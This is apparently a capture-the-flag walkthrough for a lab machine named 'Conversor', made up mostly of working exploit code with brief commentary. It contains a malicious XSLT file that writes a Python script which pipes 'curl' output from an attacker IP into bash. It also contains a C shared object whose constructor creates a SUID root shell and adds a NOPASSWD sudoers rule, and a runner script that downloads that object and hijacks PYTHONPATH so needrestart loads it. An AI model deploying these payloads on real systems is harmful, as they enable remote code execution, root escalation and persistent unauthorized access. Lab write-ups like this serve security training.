Skip to main content

Conversor

Payload 3: shell.xslt (The File-Write Exploit) This is the malicious XSLT file we will upload to the server. We create this on our attacker machine.

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:shell="http://exslt.org/common"
extension-element-prefixes="shell">

<xsl:template match="/">
<shell:document href="/var/www/conversor.htb/scripts/shell.py" method="text">
import os
os.system("curl 10.10.14.14/shell.sh | bash")
</shell:document>
</xsl:template>

</xsl:stylesheet>

Let’s deconstruct this exploit:

xmlns:shell="http://exslt.org/common": Imports the dangerous EXSLT namespace and names it “shell”.
extension-element-prefixes="shell": Declares that we will be using this extension.
<xsl:template match="/">: A standard XSLT tag meaning “start at the root of the XML document.”
<shell:document ...>: This is the exploit.
href="/var/www/conversor.htb/scripts/shell.py": The absolute path where we want to write our file. This is our cron job’s directory.
method="text": Write the contents as raw text, not XML.
The content import os... is the payload that gets written to shell.py.
/* lib.c - Our malicious shared object */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

/* This is a GCC attribute that marks 'a()' as a constructor. */
/* This function will run AUTOMATICALLY when the library is loaded. */
static void a() __attribute__((constructor));

void a() {
/* Only run if we are root */
if(geteuid() == 0) {
setuid(0);
setgid(0);

/* The payload:
1. Copy the bash shell to /tmp/poc
2. Make /tmp/poc a SUID binary (owned by root, runs as root)
3. Add a sudoers rule as a backup persistence method
*/
const char *shell = "cp /bin/sh /tmp/poc; "
"chmod u+s /tmp/poc; "
"grep -qxF 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' >> /etc/sudoers";
system(shell);
}
}

On our Attacker Machine

The PDF notes a cross-compiler, but if you're on 64-bit Kali/Parrot:

gcc -shared -fPIC -o init.so lib.c -shared: Create a shared library (.so file). -fPIC: Position-Independent Code. Required for shared libraries. -o init.so: The output file must be named init.so to be loaded as a Python module. Payload 3: runner.sh (The Trigger Script) This is the script we will run on the victim (Conversor) as the f****** user. It sets up the whole hijack.

#!/bin/bash set -e cd /tmp

1. Create the malicious module directory structure

mkdir -p malicious/importlib

2. Download our compiled C payload from our attacker server

(Replace 10.10.14.81 with your attacker IP)

curl http://10.10.14.81:8000/init.so -o /tmp/malicious/importlib/init.so

3. Create the "bait" Python script (e.py)

This script just loops, waiting for the exploit to work

cat << 'EOF' > /tmp/malicious/e.py
import time
import os

while True:
try:
import importlib
except:
pass

# When our C payload runs, it creates /tmp/poc
# This loop waits for that file to exist
if os.path.exists("/tmp/poc"):
print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
# The C payload also added a sudoers rule.
# We use that rule to pop our root shell.
os.system("sudo /tmp/poc -p")
break
time.sleep(1)

EOF

4. This is the magic!

Run the bait script (e.py) with the PYTHONPATH hijacked.

This process will just sit here, waiting for needrestart to scan it.

echo "Bait process is running. Trigger 'sudo /usr/sbin/needrestart' in another shell." cd /tmp/malicious; PYTHONPATH="$PWD" python3 e.py 2>/dev/null